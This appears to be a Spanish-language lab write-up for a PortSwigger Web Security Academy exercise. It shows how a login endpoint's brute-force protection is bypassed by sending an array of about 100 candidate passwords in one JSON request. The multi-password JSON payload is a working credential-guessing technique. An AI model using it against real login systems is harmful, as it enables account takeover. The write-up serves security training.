> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).

# Protección contra fuerza bruta rota con múltiples credenciales por solicitud

Notas sobre Protección contra fuerza bruta rota con múltiples credenciales por solicitud para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y remedi

### Protección rota contra fuerza bruta, múltiples credenciales por solicitud

Este laboratorio presenta un fallo lógico en el mecanismo de protección contra ataques de fuerza bruta. / El objetivo es **encontrar la contraseña del usuario carlos** y acceder a su página **Mi cuenta**.

* **Usuario objetivo**: `carlos`
* **Lista de contraseñas candidatas**: proporcionada por el laboratorio
* **Punto de entrada**: formulario de inicio de sesión

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3194516c73719c3404fef06dffc278f984573f50%2F%7B23642F1A-A776-47A6-AC12-BC43655196BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Observación del comportamiento**

Al analizar el formulario de inicio de sesión, la solicitud enviada al servidor está en **JSON** formato, con los siguientes campos:

```json
{
    "username":"carlos",
    "password":"password"
}
```

La protección antifuerza bruta parece basarse en el número de \*\* solicitudes HTTP\*\* enviadas, no en el número de \*\* contraseñas realmente probadas\*\*.

**Explotación del fallo lógico**

En lugar de enviar una consulta de contraseña, es posible transmitir **varias contraseñas en una sola consulta**, usando una matriz JSON para el `contraseña` campo.

{% code overflow="wrap" %}

```json
{
  "username": "carlos",
  "password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```

{% endcode %}

El servidor \*\*acepta la solicitud\*\* y prueba todas las contraseñas contenidas en la matriz, **sin activar un mecanismo de bloqueo**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cceb4b8ffbe43ea9dc1156eea5da388b1dbbfa07%2F%7B98F12D38-6A42-458B-93B0-ED4D46A781AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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